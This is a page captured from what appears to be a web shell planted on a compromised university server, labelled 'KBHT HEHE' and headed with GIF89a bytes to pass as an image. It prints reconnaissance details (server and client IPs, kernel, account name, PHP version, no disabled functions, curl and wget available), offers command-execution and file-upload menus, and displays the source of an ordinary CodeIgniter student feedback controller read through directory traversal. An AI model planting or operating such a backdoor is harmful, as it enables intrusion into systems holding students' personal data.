GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.145.109.244
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../grievance/../cas/application/controllers/student/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../grievance/../cas/application/controllers/student/Feedback.php
<?php

/**
 * Controller class for handling all requests related to feedbacks & correction requests by student.
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Feedback extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/FeedbackManagement');
    }

    public function myRequests() {
        if ($this->sessionvalidator->isStudentLoggedIn()) {
            $viewData['myRequests'] = $this->FeedbackManagement->getAllCorrectionRequests($this->session->userdata("studentData")["stu_id"])->result();
            $this->load->view('student/correctionRequests', $viewData);
        } else {
            redirect("student/");
        }
    }

    public function makeCorrectionRequest() {
        if ($this->sessionvalidator->isStudentLoggedIn()) {
            $this->load->view('student/submitCorrectionRequest');
        } else {
            redirect("admin/");
        }
    }

    public function saveNewCorrectionRequest() {
        if ($this->sessionvalidator->isStudentLoggedIn()) {
            $this->form_validation->set_rules('crSubject', 'Subject/Title', 'trim|required', array('required' => 'Please Select Subject/Title.'));
            $this->form_validation->set_rules('crDescription', 'Description', 'trim|required', array('required' => 'Description Can Not Be Blank.'));
            if ($this->form_validation->run() == FALSE) {
                $this->makeCorrectionRequest();
            } else {
                if (empty($_FILES['crFile']['name'])) {
                    $newCorrectionReqInfo = array(
                        'tscr_title' => stripslashes($this->input->post("crSubject")),
                        'tscr_descrption' => stripslashes($this->input->post("crDescription")),
                        'tspi_id' => $this->session->userdata("studentData")["stu_id"],
                        'tscr_created_on' => date("Y-m-d H:i:s")
                    );
                    if ($this->FeedbackManagement->createNewCorrectionRequest($newCorrectionReqInfo)) {
                        $this->session->set_flashdata('successMessage', 'Correction Request Submitted Successfully.');
                        redirect("student/Feedback/myRequests");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Submitting Correction Request. Try Later.');
                        redirect(current_url());
                    }
                } else {
                    $correctionReqFileNameWithPath = "";
                    $configCRFile['upload_path'] = './assets/admin/uploads/correctionRequests/';
                    $configCRFile['allowed_types'] = 'jpeg|jpg|png|pdf|doc|docx';
                    $configCRFile['max_size'] = '2048';
                    $configCRFile['file_ext_tolower'] = TRUE;
                    $configCRFile['encrypt_name'] = TRUE;
                    $this->load->library('upload', $configCRFile);
                    if (!$this->upload->do_upload("crFile")) {
                        $this->session->set_flashdata('errorMessage', 'The File Can Not Be Uploaded As It Violates The Upload Criteria. File Size 2 MB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg,*.doc,*.docx,*.pdf.');
                        $this->makeCorrectionRequest();
                    } else {
                        $correctionReqFileNameWithPath = "/assets/admin/uploads/correctionRequests/" . $this->upload->data()['file_name'];
                        $newCorrectionReqInfo = array(
                            'tscr_title' => stripslashes($this->input->post("crSubject")),
                            'tscr_descrption' => stripslashes($this->input->post("crDescription")),
                            'tscr_file' => $correctionReqFileNameWithPath,
                            'tspi_id' => $this->session->userdata("studentData")["stu_id"],
                            'tscr_created_on' => date("Y-m-d H:i:s")
                        );
                        if ($this->FeedbackManagement->createNewCorrectionRequest($newCorrectionReqInfo)) {
                            $this->session->set_flashdata('successMessage', "Correction Request Submitted Successfully.");
                            redirect("student/Feedback/myRequests");
                        } else {
                            $this->session->set_flashdata('errorMessage', 'An Error Occured While Submitting Correction Request. Try Later.');
                            redirect(current_url());
                        }
                    }
                }
            }
        } else {
            redirect("student/");
        }
    }

}

KBHT - 2023